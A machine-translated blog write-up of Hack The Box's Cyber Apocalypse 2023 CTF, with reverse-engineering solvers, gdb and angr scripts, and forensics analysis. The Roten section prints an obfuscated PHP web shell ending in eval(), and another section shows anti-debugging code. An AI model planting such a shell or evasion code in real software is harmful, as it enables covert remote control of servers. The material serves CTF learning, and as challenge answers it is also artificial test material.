This page has been machine-translated from the original page.
We participated in the Cyber Apocalypse 2023 CTF, held in March 2023.
It was a CTF organized by Hack The Box, and we had a great time — there were many interesting, realistic challenges.
With over 6,400 competing teams, it was one of the largest CTFs we have ever participated in.
New members joined us this time, and we finished in 118th place.
We focused mainly on Rev and Forensic challenges, but a few that felt almost within reach ran out of time on us — very unfortunate.
As usual, here is a summary of the challenges we found interesting or educational.
She Shells C Shells (Rev)
You’ve arrived in the Galactic Archive, sure that a critical clue is hidden here. You wait anxiously for a terminal to boot up, hiding in the shadows from the guards hunting for you. Unfortunately, it looks like you’ll need a password to get what you need without setting off the alarms…
The challenge took user input, XOR-ed it with a byte array m1, then XOR-ed the result with m2 to produce the flag.
After analyzing with Ghidra, we found that the byte array obtained by XOR-ing user input with m1 is first compared against another byte array t.
This means that XOR-ing t with m2 yields the final flag string.
We retrieved the flag with the following solver:
m1 = [ 0x6e, 0x3f, 0xc3, 0xb9, 0xd7, 0x8d, 0x15, 0x58, 0xe5, 0x0f, 0xfb, 0xac, 0x22, 0x4d, 0x57, 0xdb, 0xdf, 0xcf, 0xed, 0xfc, 0x1c, 0x84, 0x6a, 0xd8, 0x1c, 0xa6, 0x17, 0xc4, 0xc1, 0xbf, 0xa0, 0x85, 0x87, 0xa1, 0x43, 0xd4, 0x58, 0x4f, 0x8d, 0xa8, 0xb2, 0xf2, 0x7c, 0xa3, 0xb9, 0x86, 0x37, 0xda, 0xbf, 0x07, 0x0a, 0x7e, 0x73, 0xdf, 0x5c, 0x60, 0xae, 0xca, 0xcf, 0xb9, 0xe0, 0xde, 0xff, 0x00, 0x70, 0xb9, 0xe4, 0x5f, 0xc8, 0x9a, 0xb3, 0x51, 0xf5, 0xae, 0xa8, 0x7e, 0x8d ]
m2 = [ 0x64, 0x1e, 0xf5, 0xe2, 0xc0, 0x97, 0x44, 0x1b, 0xf8, 0x5f, 0xf9, 0xbe, 0x18, 0x5d, 0x48, 0x8e, 0x91, 0xe4, 0xf6, 0xf1, 0x5c, 0x8d, 0x26, 0x9e, 0x2b, 0xa1, 0x02, 0xf7, 0xc6, 0xf7, 0xe4, 0xb3, 0x98, 0xfe, 0x57, 0xed, 0x4a, 0x4b, 0xd1, 0xf6, 0xa1, 0xeb, 0x09, 0xc6, 0x99, 0xf2, 0x58, 0xfa, 0xcb, 0x6f, 0x6f, 0x5e, 0x1f, 0xbe, 0x2b, 0x13, 0x8e, 0xa5, 0xa9, 0x99, 0x93, 0xab, 0x8f, 0x70, 0x1c, 0xc0, 0xc4, 0x3e, 0xa6, 0xfe, 0x93, 0x35, 0x90, 0xc3, 0xc9, 0x10, 0xe9 ]
t = [ 0x2c, 0x4a, 0xb7, 0x99, 0xa3, 0xe5, 0x70, 0x78, 0x93, 0x6e, 0x97, 0xd9, 0x47, 0x6d, 0x38, 0xbd, 0xff, 0xbb, 0x85, 0x99, 0x6f, 0xe1, 0x4a, 0xab, 0x74, 0xc3, 0x7b, 0xa8, 0xb2, 0x9f, 0xd7, 0xec, 0xeb, 0xcd, 0x63, 0xb2, 0x39, 0x23, 0xe1, 0x84, 0x92, 0x96, 0x09, 0xc6, 0x99, 0xf2, 0x58, 0xfa, 0xcb, 0x6f, 0x6f, 0x5e, 0x1f, 0xbe, 0x2b, 0x13, 0x8e, 0xa5, 0xa9, 0x99, 0x93, 0xab, 0x8f, 0x70, 0x1c, 0xc0, 0xc4, 0x3e, 0xa6, 0xfe, 0x93, 0x35, 0x90, 0xc3, 0xc9, 0x10, 0xe9 ]
for i in range(0x4d):
print(chr(t[i] ^ m2[i]), end="")Hunting License (Rev)
STOP! Adventurer, have you got an up to date relic hunting license? If you don’t, you’ll need to take the exam again before you’ll be allowed passage into the spacelanes!
This challenge involved analyzing a binary to collect information such as passwords and library details.
Because the password is stored in plaintext in memory during validation, debugging with gdb made it trivial to find.
Cave System (Rev)
Deep inside a cave system, 500 feet below the surface, you find yourself stranded with supplies running low. Ahead of you sprawls a network of tunnels, branching off and looping back on themselves. You don’t have time to explore them all - you’ll need to program your cave-crawling robot to find the way out…
Analyzing the binary revealed that the flag could be determined one character at a time by brute force from the start.
Automating gdb would have been one approach, but angr seemed better suited for the conditions, so we retrieved the flag with the following script:
>>> proj = angr.Project('cave')
WARNING | 2023-03-21 11:15:35,590 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
>>>
>>> init_state = proj.factory.entry_state(args = ['cave'])
>>> simgr = proj.factory.simgr(init_state)
>>> obj = proj.loader.main_object
>>> print("Entry", hex(obj.entry))
Entry 0x401080
>>> simgr = proj.factory.simgr(init_state)
>>> simgr.explore(find=(0x401ab3), avoid=(0x401ac1))
<SimulationManager with 1 found, 61 avoid>
>>> simgr.found
[<SimState @ 0x401ab3>]
>>> simgr.found[0].posix.dumps(0)
b"HTB{H0p3_u_d1dn't_g3t_th15_by_h4nd,1t5_4_pr3tty_l0ng_fl4g!!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"Alien Saboteaur (Rev)
You finally manage to make it into the main computer of the vessel, it’s time to get this over with. You try to shutdown the vessel, however a couple of access codes unknown to you are needed. You try to figure them out, but the computer start speaking some weird language, it seems like gibberish…
This challenge took a brute-force approach that ended up costing considerable time.
The challenge provided two files: a piece of opaque binary data, and a program that reads and processes that binary data.
After analyzing the program, we confirmed that starting from the 3rd byte of the binary data, cutting out 6 bytes at a time yields custom assembly instructions and data fields.
Writing a script to extract the instruction portions, we found that the instruction set uses opcodes from 0x0 to 0x18, as shown below.
At this point we attempted to analyze the behavior of the custom instruction set directly, but made no progress.
Shifting focus to the order in which instructions were called, we noticed that several instructions seemingly responsible for pushing input values onto the stack — vm_input, vm_store, vm_push, and others — were called multiple times before a branch via vm_je was taken.
From this, we identified the call site of vm_je in gdb and used the following script to flip the ZF flag and extract register values one by one, allowing us to brute-force the first password:
for c in range(len("c0d3_r3d_5h")):
# register
reg = int(gdb.parse_and_eval("$rax"))
pw += chr(reg)
gdb.execute("set $eflags ^= (1 << $ZF)")
gdb.execute("continue")After entering the first password and continuing, the program prompts for a second password.
This second password was also compared using vm_je, so we extracted information the same way via brute force — but what we got was the nonsensical string e]wJ3@Vlu7]5nnf6l6pewj1y]1pln32661.
Further analysis revealed that e]wJ3@Vlu7]5nnf6l6pewj1y]1pln32661 is the actual second-password string with both its characters and their positions replaced according to fixed rules.
Specifically, ‘A’ was replaced with ‘C’, ‘B’ with ’@’, and the 3rd character of the password was mapped to the 10th position at comparison time, and so on.
We therefore used the following script to vary the second password’s characters one at a time and build a mapping of character-to-position substitutions:
# gdb -x solver2.py
import gdb
from pprint import pprint
BINDIR = "/root"
BIN = "vm"
"""
b *(vm_je+124)
set $ZF = 6
c0d3_r3d_5h
set $eflags ^= (1 << $ZF)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"""
gdb.execute('file {}/{}'.format(BINDIR, BIN))
gdb.execute('b *(vm_je+124)')
gdb.execute('set $ZF = 6')
# echo "AAAAAAAAAAAAAAAAA" > input.txt; echo "e]wJ3@Vlu7]5nnf6l6pewj1y]1pln32661" >> input.txt
order = []
# for i in range(0,len("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")):
for i in range(0,1):
with open("input.txt", "w") as f:
t = list("AAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
t = list("AAAAAAAAAAAAAAAAA\n15lgTu_lB1n43w44dh740r_Hu3n_3}{l_ngr")
# t[18+i] = "B"
f.write("".join(t))
gdb.execute('run bin < ./input.txt')
pw = ""
for c in range(len("c0d3_r3d_5h")):
# register
reg = int(gdb.parse_and_eval("$rax"))
pw += chr(reg)
gdb.execute("set $eflags ^= (1 << $ZF)")
gdb.execute("continue")
# gdb.execute('b *(vm_run+25)')
gdb.execute("set $eflags ^= (1 << $ZF)")
gdb.execute("continue")
alp = []
for c in range(36):
# register
reg = int(gdb.parse_and_eval("$rax"))
alp.append(chr(reg))
if int(gdb.parse_and_eval("$rcx")) != reg:
gdb.execute("set $eflags ^= (1 << $ZF)")
gdb.execute("continue")
order.append(alp.index("@"))
print(alp)
print(order)Finally, we built a character-and-position substitution table and used the following script to decode e]wJ3@Vlu7]5nnf6l6pewj1y]1pln32661, obtaining the flag:
alp = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij"
alp = "klmnopqrstuvwxyz1234567890!#$%}{_-^~"
flag = "e]wJ3@Vlu7]5nnf6l6pewj1y]1p\177ln32661]"
result = ['\x7f', 'v', 'z', 'i', 's', 'o', 'n', "'", 'r', 'm', '3', '0', '5', 'q', 'x', ']', '{', '4', 't', '/', 'y', '1', ';', 'l', '7', '\\', 'p', '|', '2', '!', ':', 'u', 'w', '&', '6', '#']
order = [3, 6, 5, 23, 9, 8, 4, 26, 13, 1, 32, 18, 31, 2, 16, 14, 10, 11, 21, 34, 24, 17, 12, 30, 22, 28, 35, 29, 33, 7, 0, 20, 15, 19, 25, 27]
dict = {'C': 'A', '@': 'B', 'A': 'C', 'F': 'D', 'G': 'E', 'D': 'F', 'E': 'G', 'J': 'H', 'K': 'I', 'H': 'J', 'I': 'K', 'N': 'L', 'O': 'M', 'L': 'N', 'M': 'O', 'R': 'P', 'S': 'Q', 'P': 'R', 'Q': 'S', 'V': 'T', 'W': 'U', 'T': 'V', 'U': 'W', 'Z': 'X', '[': 'Y', 'X': 'Z', 'c': 'a', '`': 'b', 'a': 'c', 'f': 'd', 'g': 'e', 'd': 'f', 'e': 'g', 'j': 'h', 'k': 'i', 'h': 'j', 'i': 'k', 'n': 'l', 'o': 'm', 'l': 'n', 'm': 'o', 'r': 'p', 's': 'q', 'p': 'r', 'q': 's', 'v': 't', 'w': 'u', 't': 'v', 'u': 'w', 'z': 'x', '{': 'y', 'x': 'z', '3': '1', '0': '2', '1': '3', '6': '4', '7': '5', '4': '6', '5': '7', ':': '8', ';': '9', '2': '0', '#': '!', '!': '#', '&': '$', "'": '%', '\x7f': '}', 'y': '{', ']': '_', '/': '-', '\\': '^', '|': '~'}
for i in range(36):
dict[result[order[i]]] = alp[i]
print(dict)
ans = ["0" for i in range(37)]
for i in range(len(flag)):
ans[i] = dict[flag[order[i]]]
print("".join(ans))Vessel Cartographer (Rev)
You finally manage to remotely connect to a computer onboard the alien vessel to shutdown the defense mechanisms. However, it instantly starts acting up and ends up deploying malware as a defense mechanism. All your documents including your hard earned map of the vessel topology is now encrypted.
We were given a binary called challenge.exe and a file called vessel_map.jpeg.owo.
It appeared that vessel_map.jpeg had been encrypted, so we analyzed challenge.exe to identify the encryption scheme.
However, loading it directly into Ghidra did not work well, and the debugger also returned errors.
We then ran the binary through pestudio for surface-level analysis, which revealed it was packed with UPX.
We unpacked it using upx/upx · GitHub and then decompiled it.
Skipping ahead to the part that appears to open the target file for encryption:
Tracing further, we found that the value of _Dst is written back to a file at the line (*(code *)(param_1 + 0x12e0))(_Dst,nNumberOfBytesToWrite,&DAT_140005050,&DAT_140006c58);.
From this, we inferred that some function at address (param_1 + 0x12e0) was encrypting the file contents loaded into _Dst using two 16-byte arrays: &DAT_140005050 and &DAT_140006c58.
Looking at the address (param_1 + 0x12e0), the calling code suggests that it is derived from some transformation of DAT_140005060.
We thought setting a breakpoint at this function call would easily identify which function was being invoked, but a TLS callback implementing anti-debugging was in place, preventing execution under a debugger.
A tls_callback is code that runs before the process entry point is called; anti-debugger logic placed here prevents debugging.
void tls_callback_0(void)
{
BOOL BVar1;
BVar1 = IsDebuggerPresent();
if (BVar1 != 0) {
/* WARNING: Subroutine does not return */
exit(0);
}
return;
}Reference: Detect debugger with TLS callback - Source Codes - rohitab.com - Forums
To enable debugging, we patched the conditional branch from JE to JNE.
This allowed debugging with WinDbg.
Tracing execution in the debugger revealed that the address at (param_1 + 0x12e0) contains the following code:
This appears to be where the file’s string data is encrypted, but we were unable to identify exactly what it was doing and gave up on this path.
From here, we consulted a writeup and continued tracing the behavior.
We started by getting an overall picture of the main function.
The following shows the first block of the main function, reformatted for clarity.
First, we confirmed in the debugger that unknown_data initially holds 64745e29db38.
We also identified that unknown_code1 points to ntdll!NtAllocateVirtualMemory and unknown_code2 points to ntdll!NtWriteVirtualMemory.
unknown_data = DAT_00005008 ^ (ulonglong)auStack_58;
result_GetCurrentProcess = GetCurrentProcess();
unknown_code1 = (code *)FUN_00001080(0xd026c5e3);
unknown_code2 = (code *)FUN_00001080(0x749cf0df);Next is FUN_00001590; from the decompiled output it appears to repeat some operation on DAT_00005070 0x1600 times.
Because all operations are XOR, the net result should be no change, which we verified in the debugger by confirming that DAT_00005070 stays constant across the call.
Using the DATA section address obtained from !dh challenge_patched -s, we monitored challenge_patched+5070 and confirmed no change before and after the FUN_00001590 call.
The subsequent code uses the previously identified NtAllocateVirtualMemory and NtWriteVirtualMemory to allocate 0x1600 bytes and store the value of DAT_00005060:
(*ntdll!NtAllocateVirtualMemory)(result_GetCurrentProcess2,&base_address,0,&0x1600);
local_38 = 0;
(*ntdll!NtWriteVirtualMemory)(result_GetCurrentProcess,base_address,&DAT_00005060,0x1600);The first argument being the result of GetCurrentProcess is because these functions take a ProcessHandle as their first argument.
Reference: NTAPI Undocumented Functions
We now look at the remaining three calls:
FUN_00001210(base_address);
FUN_00001290(base_address);
FUN_00001720(unknown_data ^ (ulonglong)auStack_58);Starting with FUN_00001210, the reformatted decompiled output is as follows:
void FUN_00001210(longlong base_address)
{
code *pcVar1;
HANDLE pvVar2;
undefined auStack_48 [32];
undefined *local_28;
undefined4 local_18;
undefined local_14 [4];
ulonglong local_10;
local_10 = DAT_00005008 ^ (ulonglong)auStack_48;
pcVar1 = (code *)FUN_00001080(0xbe774f89);
if (pcVar1 != (code *)0x0) {
pvVar2 = GetCurrentProcess();
local_28 = local_14;
(*pcVar1)(pvVar2,0x1f,&local_18);
(*(code *)(base_address + 0x12a0))(&DAT_00005050,local_18);
}
FUN_00001720(local_10 ^ (ulonglong)auStack_48);
return;
}Further debugging confirmed that (*pcVar1)(pvVar2,0x1f,&local_18); is ntdll!NtQueryInformationProcess.
At the point of the ntdll!NtQueryInformationProcess call, local_18 holds cd8753fc50.
After the call, local_18 is passed to the custom function *(code *)(base_address + 0x12a0).
As documented, ntdll!NtQueryInformationProcess takes a ProcessInformationClass value in its second argument to specify the type of process information to retrieve.
Reference: NtQueryInformationProcess function (winternl.h) - Win32 apps | Microsoft Learn
Passing 0x1f as ProcessInformationClass is not covered in official documentation, but it appears to retrieve ProcessDebugFlags, which indicates whether a debugger is attached.
Reference: NtQueryInformationProcess | Cyber Security Information Bureau
This is apparently a commonly used anti-analysis technique in malware.
When ProcessDebugFlags is specified, the output ProcessInformation pointed to by the third argument receives 0 when a debugger is present.
Indeed, *(code *)(base_address + 0x12a0) was called with DAT_00005050 and 0 as arguments.
The second argument being 0 only happens when debugging is active, so we changed it to 1 and ran the program; the computed result was 6d597133733676397924422645294840.
This value is stored in DAT_00005050 and used in the subsequent encryption.
We now look at the encryption logic inside FUN_00001290.
The encryption happens at the line (*(code *)(param_1 + 0x12e0))(_Dst,nNumberOfBytesToWrite,&DAT_140005050,&DAT_140006c58); noted at the top.
The encryption keys are DAT_00005050 and DAT_00006c58.
We confirmed in the debugger that DAT_00006c58 is all \x00.
The encryption code that is called looks like:
0000025c`b5d312e0 48895c2408 mov qword ptr [rsp+8],rbx ss:000000b5`952ff3d0=00000000000000ff
0000025c`b5d312e5 57 push rdi
0000025c`b5d312e6 4881ece0000000 sub rsp,0E0h
0000025c`b5d312ed 498bc0 mov rax,r8
0000025c`b5d312f0 488bda mov rbx,rdx
0000025c`b5d312f3 488bf9 mov rdi,rcx
0000025c`b5d312f6 488bd0 mov rdx,rax
0000025c`b5d312f9 4d8bc1 mov r8,r9
0000025c`b5d312fc 488d4c2420 lea rcx,[rsp+20h]
0000025c`b5d31301 e8aaf4ffff call 0000025c`b5d307b0
0000025c`b5d31306 4c8bc3 mov r8,rbx
0000025c`b5d31309 488d4c2420 lea rcx,[rsp+20h]
0000025c`b5d3130e 488bd7 mov rdx,rdi
0000025c`b5d31311 e8aaf0ffff call 0000025c`b5d303c0
0000025c`b5d31316 488b9c24f0000000 mov rbx,qword ptr [rsp+0F0h]
0000025c`b5d3131e b001 mov al,1
0000025c`b5d31320 4881c4e0000000 add rsp,0E0h
0000025c`b5d31327 5f pop rdi
0000025c`b5d31328 c3 retAfter reading through the code with the help of a writeup, we could not fully understand it ourselves, but tracing down the functions it calls reveals an AES S-Box-like byte array, confirming that AES encryption is in use. (Is this supposed to be obvious?)
We were unfortunately unable to identify this independently, but with reference to Vessel Cartographer | bi0s we decrypted the file using the following solver:
from Crypto.Cipher import AES
f1 = open("flag.png","wb")
x = AES.new(key=b'mYq3s6v9y$B&E)H@', mode=AES.MODE_CBC, iv=b'\x00'*16)
f2 = open("vessel_map.jpeg.owo", "rb")
bytes = f2.read()
f1.write(x.decrypt(bytes))The flag is below. That was a heavy one…
Roten (Forensic)
The iMoS is responsible for collecting and analyzing targeting data across various galaxies. The data is collected through their webserver, which is accessible to authorized personnel only. However, the iMoS suspects that their webserver has been compromised, and they are unable to locate the source of the breach. They suspect that some kind of shell has been uploaded, but they are unable to find it. The iMoS have provided you with some network data to analyse, its up to you to save us.
We were given a pcap file and asked to identify evidence of how the site was compromised.
After reviewing objects in Wireshark, we confirmed that a file called graphicmap.php was being abused for RCE.
We decided to identify when this file was uploaded and read its contents.
Extracting the uploaded graphicmap.php revealed an obfuscated script embedded inside:
<?php
$pPziZoJiMpcu = 82;
$liGBOKxsOGMz = array();
$iyzQ5h8qf6 = "" ;
$iyzQ5h8qf6 .= "<nnyo ea\$px-aloerl0=e r\$0' weme Su rgsr s\"eu>\"e'Er= elmi)y ]_'t>bde e e =p xt\" ?ltps vdfic-xetrmsx'l0em0 o\"oc&'t [r\"e _e;eV.ncxm'vToil ,F y";
$iyzQ5h8qf6 .= "<r s -<a \"op r_P< poeeihaeild /ds\"se4bsxao1: r]du ;e\$'o,t dn\n)i\$'me'maoate{e I!lb>'u btde .sr ege/ han:t";
$iyzQ5h8qf6 .= "elrlenjl t>( 0'eCdd0 l et0\n'seu u it ;e_ dc>ulUd'T\nxe\$L<er<.l oh>c ii aert pdt iai(ed.QiJr\n\$i0; 0\"e0' d= ex ].xp\$r re \nwSn'u<lup ]o iluE/=>b\$t r>\n";
$iyzQ5h8qf6 .= "h rxn ltmb \n'-aodd') bubaa\nff0 i0] )- [ &\"4 ==e[wn (r #iEa tftelF)U sspSb\"'rd dO o e_t ppso \n]DpneaC;aoesvp\ni( }f0 & ' \"( ]0 =sc'o \$s #nRmaeoi=oi)p te";
$iyzQ5h8qf6 .= "l[>c;>ia ew agP aw(d i;ep:rto\nnor/a/<l )\n( = ?;\$r\$0 0 'puwr\$\$d\" fgVeu'rp'al l s o'<o\n<rs rn \" leeetu\$y f\nsl (en dtyjS3?e\$ ) 0 \ngem0= xrtrlsdi; l E=t>ma\"d";
$iyzQ5h8qf6 .= "e{o iafbl\nb. }ee < ptrchid> cia''t s qc.p)m{ \$ (0' rao0 ) 'ieid;ir\n adR'o\\ r.''\na ifdiro >'\$\ndr<t apmh(di\" ( rctE)";
$iyzQ5h8qf6 .= "e mtlur3h;o m{\$2x odd0( )n't[\nr) gi[dcnat\$ d n Dl>r R k}\"<tr twso\$(r; i iatx;n iriei.p\nd\$ o m0' u\"e1\$\$ ";
$iyzQ5h8qf6 .= " t]e'} ) } r'io\"c/_in ' (ie': e&e\n>/b> hu( df)\n s ptap\nt nabrp6\n et d\$o0 p] )ogi?f)'r\n= \n=ePrm;tfGda";
$iyzQ5h8qf6 .= " ]e\"mrT;r s&ye\nto\" (i\$\"ii e s tici - ipryt/\n y etd): [ & wrf (;]e\n { cH'p\nioE=m [c.oeo\ne u c hd; \$dd<rl.c e iohr L fca/ jf &p ye ";
$iyzQ5h8qf6 .= "\"= ?no('\"\n,a\n\$\n HtP leorT'e 'h\$vcU d l'=h >y\n d(it.e h t onme e idr1-su e &p ?' e 0 eu t% d\$_ To_vecnm[f= nouetp \" t.";
$iyzQ5h8qf6 .= ">o \n> eifrd'o\"o ( n/es n eny.-/n 0=e e& - x(0'rp\$'1 \$'dP BrSath=-'i' a p_ol > \$ \n cri)>/w< \$i:on: g ";
$iyzQ5h8qf6 .= "d. 1>bc x'l0= ''\$e\$0x[[m s g]iO {yEleo'ddls m\"luro E}o_\$\"< < h.l <'n/\" _f ct t c-2\not 2dsx'0w;gcm0''\"o:% r,rS W Lu= \"aieu\$e<opya r\nfG";
$iyzQ5h8qf6 .= "v<t ? o'e.a.et< G Ft;0 h Co-.<oi 0'eAs0'\nruo2 eed 1 o T 0\"Fe'\".trTbu'bal)d r\n Eabh p /o \$rd/ E(ie ' :eSm>2stoi0; 0'4 otd):xxe's u\$=[ ";
$iyzQ5h8qf6 .= " w '=o<\$a'omp]rdo)' o}cTlre h \"'w\"hv(>t Tfltf) xS/\n/csnf0 i0;0: uee ee T% pw ' \$_.]\"f/_']Uil)>Da ] r\no[u>a p <.n<ra\$\\a [ie-i; 'i b<jrt ( }f0 0 ";
$iyzQ5h8qf6 .= "p\" ?'cc&'1 [o\$d dR ..ffS>.pto;<id{[} \nm'e\"d \n t\$e/eldnb 'l sl\n t-osqirp )\n( })' []& -uu ;s\$'r_ii iO\$\"\$'oE";
$iyzQ5h8qf6 .= "\\\"l'a\nbre\n' uimc);> fidvrtfui\"l deTte .;-ocupar\$ )\n - \" ''tt0\n\"selGrf rtd'd rRn'o>d red nepfam \n\n<o";
$iyzQ5h8qf6 .= "f>a(d=er;e o_rrn h \n>tretpim{ \$ ?' w=0w;eex ,.xdE' _i iamV\"/a\"D >c_ all nd{? tr <l\$>').\n> weaea ef \nsir .no ";
$iyzQ5h8qf6 .= "m{ ; r 0'\n'\"2 =e[T](\$=Armru>E;>d;i <tf mso(d'\n> he(aud\\\" ' \" nxnam ai <tpysmtd\$ o '\n i(0 ]]0 \$sc'[;if _ e.t\"R\n '\nr boi eeai ] \n >ai ein../ ; lisme ";
$iyzQ5h8qf6 .= "dl lrt.riPet d\$ r \$t\$0: = 0 opuw'\nsi'D.t\"o;[e\">ee rl ' dse, \n Pcsh)r\" ' \n osf'= ee ia mcne y et ' gem4 == wrtrd}_l.a h f\n'c;\\cc sye ]{isx <";
$iyzQ5h8qf6 .= " eh_r .;\$\". \n ate)\" rs npsi=.r&p y r\"o)' ' ) nieii\nfe/Y\"o/oePh\nnht t.( .\nnee\$ t r de.'\n_'\$ \n dsr;' (i k/rn\"jm e &p : o]d - x( en'tr\$i '}<d>ccHoe<o";
$iyzQ5h8qf6 .= "o y\"\$ ' gtcc a<m(if / S>v ? '('\n. 'z 3c.hss0=e e u e?' '\$\$ rt]e'fl=;\n/=\"uhP cb ril._ (um bti\$r=\"' E\"a > ]\$) b Pe r.=jt\"(x'l0=e' p= ; )gw\$[f)']ie \n\$h";
$iyzQ5h8qf6 .= "';so_\"hr\"yfe<F u f\$td lrsd('/. R.l \n )f; a r(}e3\"st>\$1csx'l- [ &'\n ros'(;];l(\$}d2G\n> S<o>< =/I p i_ir e>sir\"'\$ V u}\n )i\n s a\$\nl.h\"p<f0'e8l";
$iyzQ5h8qf6 .= "s' \"( r i?or=r\"\n,\ne\$d\ni>Ee\\\"Ei </=('bL l lGoe \nire.>v E\$e\n\n l ehgf}=6t>:/i0; 0'e;\$r\$0' f ulse% i di\$r\"Tcn\\Ln\"id fc>E o eEns c osa \"a Rv) \n {e";
$iyzQ5h8qf6 .= " nemi\n\"/t</sl0 i0; \noem0 ('pdpa1 \$f=irds;'h<nFp<ni\$io<S a T:u l n l\$.l [a) < \n) aaal\nscp//ce }f0 \$ wao0: s[[rds w r;i \n>o";
$iyzQ5h8qf6 .= "i<'uipvdll/[ d '[ l a sap_ u 'l[ / ) md:e?tsssmr))\n( }t ndd1 \$''\"i'% o(')\nr=e\" nb]tnu>ieob' e .'<t s <saS\$e}Pu";
$iyzQ5h8qf6 .= "n d ee )>ys:cai )\ny e\"e0' m een]1 ri') c;\"pr. pt\"r_rrfed \$c/) s / tEv)\nHea i { (rp)\nl//rxp{{ \$ p r] )- o:xxt,s ls; =sh\n<u>\"tu";
$iyzQ5h8qf6 .= " ;.e:>ic umb; = t\$hRa) P m v \n \$(u;\neb/ict\n m{ e [ & ' d eef % ds\n{ coeit\\'ytt\n'xr<lhs pd>\n \" hk(Vl[ _.e > f'b\n<soapd> \$ o = \"=";
$iyzQ5h8qf6 .= " ?;\$e'cc(\$1 [ei\n ra cn n p y\n/ie/eou l'< et >e\$Eun S ] \n iCl hhojtn\n t d\$ ' e 0 \nw Suu\"os\$'tf en\"hpt<metpi'sdbT c o]b ca";
$iyzQ5h8qf6 .= "<\nydRea E\" e< hlai teta>.\n y et u x(0' o&'tt%w\"se( ad\\ouyde=yef.t'ro'c a)r hbt i[ m L<.c/ eecc mesx\nb< p y '\$e\$0x r ;ee1n,.x\$( lin tpit'p";
$iyzQ5h8qf6 .= "= bs>>U<e d)> olh =r'.e F/\"hh \$ a)h' ltt.\nod e &p ;ocm2' l0\n'\"se =e_\$ pr<\" evhhe'(a(E\"pbseD \" e> >.P ] 'a<ot f hd.e) >\"r";
$iyzQ5h8qf6 .= "g<oi =e e \nwuo0 dx ]]\"r\$scPd a(b<t= oi=sis\$r;lrsci{; \" N 'H\" ]>/ m i ee'-; \n ao!tv 'l0=e ntd): [8 = ,[gpuOi t\$riy'cdd'useur\no>fhr\n\n \$ta \$/P<.e <t\"";
$iyzQ5h8qf6 .= "l l ar\"C\n <hpo-s psx'l eee \"0 == 'rrtSr hd>npsl=dfbsnpo a<uoe vam v'_/ l./d<> e d('o !r.g-tc\$'e6-s r\" ?' e0 ' \$woieT (i<peua'eime";
$iyzQ5h8qf6 .= "alr dbl c fabe<a.Sa\"s t>/ e')n -eml rlm; 0'e []& - x x(trun'[= \$rfu=bsPnlitmo. 'rl't oll</l\$E><e\"d<t = rC;t -fieLaao i0; \" ''\$e) ";
$iyzQ5h8qf6 .= "'\$yipt]'= d)ot'msO'et(ea ]>y<o rue/tuvL</ ?>tr (o\nr =naapsd}f0 i w=0w;wc )wpt[f)d i;r ti=S ''\$(dF [< br ee-treaF/t{d<d> \$h";
$iyzQ5h8qf6 .= "'n o L\".ptcse\n( }f r 0'\nou\$ oee'(;iN r\nmtet'Tn _\$Di 'biry a hh>)l'td\not>\" _eCt l rahcied= )\n( i(0 rtoi?r)'r\"\nrU e.e yx'n'anvP_il t>n>. c";
$iyzQ5h8qf6 .= "\\o>\n u]d> wd ; Gaoe : ettsssn\"= \$ \$t\$4: lewf l;]e% 'L c'capt a maaOFre mF <' hnv\n {e >< n>\"\n Ednn aets.t.c m{ \$oem0 d\"n('d\n,a1 ]L h/hce'vveemlS";
$iyzQ5h8qf6 .= "Ie }pi'b<ee <e \n).<t l\" } Tett m dsp\"c cof o mw\"o)' []e s[ ds ) o'ot= abn=euTLca\n_l.r/cx(br ) td o..\n [re- u ft:>oconi d\$ on]d - ";
$iyzQ5h8qf6 .= "\" r\$'' \$'% )oe . i'nlac'=e[Etl ne\$>bhe\$r )\"d> a e '(nD s i /\nmomtl et de e?' w=[m e o]1 rc\$\$\"ohaurtd'='Sor a d<>occ>t < ?> dppc d";
$iyzQ5h8qf6 .= "'ti t lc/\n/m/ae y er= ; r \"o:x w,s { hfv<nime-yif's[re m'ib< (m\"a / {d\"\" =orh oC-s -heom<apbip &p [ &'\n i(ed e n % \n!oiah=de=fpriUu'ya e.r b\"'d;b t";
$iyzQ5h8qf6 .= " \ni. \"sio woTp re(ma!jionee e &\"( r \$t\$xe'c e\$1 i ll2'd='oe'lpbf)d '\$.sr<cr\nl h r . .in ";
for($i = 0; $i < $pPziZoJiMpcu; $i++) $liGBOKxsOGMz[] = "";
for($i = 0; $i < (strlen($iyzQ5h8qf6) / $pPziZoJiMpcu); $i++) { for($r = 0; $r < $pPziZoJiMpcu; $r++) $liGBOKxsOGMz[$r] .= $iyzQ5h8qf6[$r + $i * $pPziZoJiMpcu]; }
$bhrTeZXazQ = trim(implode("", $liGBOKxsOGMz));
$bhrTeZXazQ = "?>$bhrTeZXazQ";
eval( $bhrTeZXazQ );
?>By removing only the eval call and executing the rest, we deobfuscated the script and retrieved the flag.
Packet Cyclone (Forensic)
Pandora’s friend and partner, Wade, is the one that leads the investigation into the relic’s location. Recently, he noticed some weird traffic coming from his host. That led him to believe that his host was compromised. After a quick investigation, his fear was confirmed. Pandora tries now to see if the attacker caused the suspicious traffic during the exfiltration phase. Pandora believes that the malicious actor used rclone to exfiltrate Wade’s research to the cloud. Using the tool called “chainsaw” and the sigma rules provided, can you detect the usage of rclone from the event logs produced by Sysmon? To get the flag, you need to start and connect to the docker service and answer all the questions correctly.
The challenge asked us to identify what kind of incident occurred when data was exfiltrated using rclone.
We were given multiple evtx files and sigma rules, but we chose to use Yamato-Security/hayabusa with its default rules instead of the provided sigma rules.
We ran the following command to extract results from the provided event logs:
hayabusa-2.2.0-win-x64.exe csv-timeline -d "C:\Users\Tadpole01\Downloads\forensics_packet_cyclone\Logs" -o result.csvFiltering the results for High-severity events, we found the following command:
This command revealed the key, service, and PID used during the rclone execution, giving us the flag.
Reference: Detecting Rclone – An Effective Tool for Exfiltration – NCC Group Research
Artifacts of Dangerous Sightings (Forensic)
